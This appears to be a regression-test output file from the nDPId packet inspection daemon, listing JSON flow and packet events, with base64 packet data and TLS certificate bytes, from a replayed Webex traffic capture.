+00435{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":270568,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA879dAAEAGBrMKCAABch3IC7rhAbtuYS0jAAAAAKACOQivZQAAAgQFtAQCCAoATML0AAAAAAEDAwY="} +00409{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":273711,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAZ9AABAGJQByHcgLCggAAQG7uuGRntLcbmEtJFAS\/\/+vAwAA"} +00495{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":273982,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnu9hAAEAGuwcKCAABQER5ZMv7AbtwVXklj6qG3FAYOQirFAAAFgMBADoBAAA2AwHYELTmAdFk47j\/kG3RMIzBgWabbigjj\/WcrWQ+O8XfAwAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":303,"source":"webex.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1444570636259,"flow_last_seen":1444570636273,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.100","src_port":52219,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":274175,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaBAABAGpX9ARHlkCggAAQG7y\/uPqobccFV5ZFAQ\/\/8eLAAA"} +00407{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":274320,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoYepAAEAGFTYKCAABQER5Y9qhAbtb96MbpAhc5lAQOQjWvQAA"} +00493{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":274819,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnYetAAEAGFPYKCAABQER5Y9qhAbtb96MbpAhc5lAYOQh9SQAAFgMBADoBAAA2AwFui4ALd8hCzC1Hn0XZp9IbNctVu8L5+XzvOp52wmP4PgAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":306,"source":"webex.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1444570636264,"flow_last_seen":1444570636274,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.121.99","src_port":55969,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":275494,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaFAABAGpX9ARHljCggAAQG72qGkCFzmW\/ejWlAQ\/\/8PhwAA"} +00408{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":275644,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo79hAAEAGBsYKCAABch3IC7rhAbtuYS0kkZ7S3VAQOQh1\/AAA"} +00493{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":276432,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn79lAAEAGBoYKCAABch3IC7rhAbtuYS0kkZ7S3VAYOQiWfgAAFgMBADoBAAA2AwGYeAXD1rCaFxll3KHQwiDcn3jmpgdAsGqZOECdkGYcowAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":309,"source":"webex.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1444570636270,"flow_last_seen":1444570636276,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.200.11","src_port":47841,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":276627,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaJAABAGJP1yHcgLCggAAQG7uuGRntLdbmEtY1AQ\/\/+uxQAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":311,"source":"webex.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1444570636359,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.97","src_port":51370,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":359207,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA86IFAAEAGnowKCAABQERpYciqAbsEZyp7AAAAAKACOQievAAAAgQFtAQCCAoATML6AAAAAAEDAwY="} +00409{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":363606,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaNAABAGtX9ARGlhCggAAQG7yKr7mNWEBGcqfFAS\/\/8xvgAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":313,"source":"webex.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1444570636364,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37129,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":364135,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8Y+FAAEAGIywKCAABQERpYpEJAbvtraEaAAAAAKACOQh2dQAAAgQFtAQCCAoATML7AAAAAAEDAwY="} +00409{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":368157,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaRAABAGtX1ARGliCggAAQG7kQkSUl7l7a2hG1AS\/\/9pXgAA"} +00407{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":368456,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo6IJAAEAGnp8KCAABQERpYciqAbsEZyp8+5jVhVAQOQj4tgAA"} +00493{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":368630,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn6INAAEAGnl8KCAABQERpYciqAbsEZyp8+5jVhVAYOQiOAwAAFgMBADoBAAA2AwG0+nLinPAGG4t2PmApyj1cBSRGozWXopqiBuxsT+LyqQAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":316,"source":"webex.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1444570636359,"flow_last_seen":1444570636368,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.97","src_port":51370,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":369036,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaVAABAGtX1ARGlhCggAAQG7yKr7mNWFBGcqu1AQ\/\/8xgAAA"} +00407{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":369197,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY+JAAEAGIz8KCAABQERpYpEJAbvtraEbElJe5lAQOQgwVwAA"} +00494{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":369622,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnY+NAAEAGIv8KCAABQERpYpEJAbvtraEbElJe5lAYOQjiHgAAFgMBADoBAAA2AwF3tBEHB6guyNBNlJmUpeM5u9lxXWyFQhCvqu17Ld8y\/QAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":319,"source":"webex.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":4,"flow_first_seen":1444570636364,"flow_last_seen":1444570636369,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.98","src_port":37129,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":369848,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAaZAABAGtXtARGliCggAAQG7kQkSUl7m7a2hWlAQ\/\/9pIAAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":321,"source":"webex.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1444570636387,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41386,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":387910,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA82lhAAEAGrK8KCAABQERpZ6GqAbsG3RlZAAAAAKACOQjUWwAAAgQFtAQCCAoATMMBAAAAAAEDAwY="} +00409{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":395572,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAadAABAGtXVARGlnCggAAQG7oar5IuamBt0ZWlAS\/\/9YuAAA"} +00407{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":395961,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2llAAEAGrMIKCAABQERpZ6GqAbsG3Rla+SLmp1AQOQgfsQAA"} +00495{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":397645,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn2lpAAEAGrIIKCAABQERpZ6GqAbsG3Rla+SLmp1AYOQjTBwAAFgMBADoBAAA2AwHQxD6jP9mnXAR\/gJlsx5rnkfAjqPqPevvcaVvn\/9cADgAABAA1AP8BAAAJACMAAAAPAAEB"} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":324,"source":"webex.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1444570636387,"flow_last_seen":1444570636397,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41386,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":398289,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAahAABAGtXRARGlnCggAAQG7oar5IuanBt0ZmVAQ\/\/9YegAA"} +02278{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":461571,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"ABoRAAACABoRAAABCABFAAWMAalAABAGNEo+becDCggAAQG7svZgvaIdn0JeI1AY\/\/+fPgAAFgMBDz4CAAAtAwFWGmYRArDIcqLQ\/bRHkH\/nYeN2CQCCxM0AncO1AEsIWwAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNV"} +00407{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":462122,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAonxJAAEAGbEQKCAABPm3nA7L2AbufQl4jYL2ngVAQQLCFVAAA"} +03814{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":471138,"pkt_caplen":2581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2581,"pkt_l4_len":2547,"pkt":"ABoRAAACABoRAAABCABFAAoHAapAABAGL84+becDCggAAQG7svZgvaeBn0JeI1AY\/\/9AIAAABAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA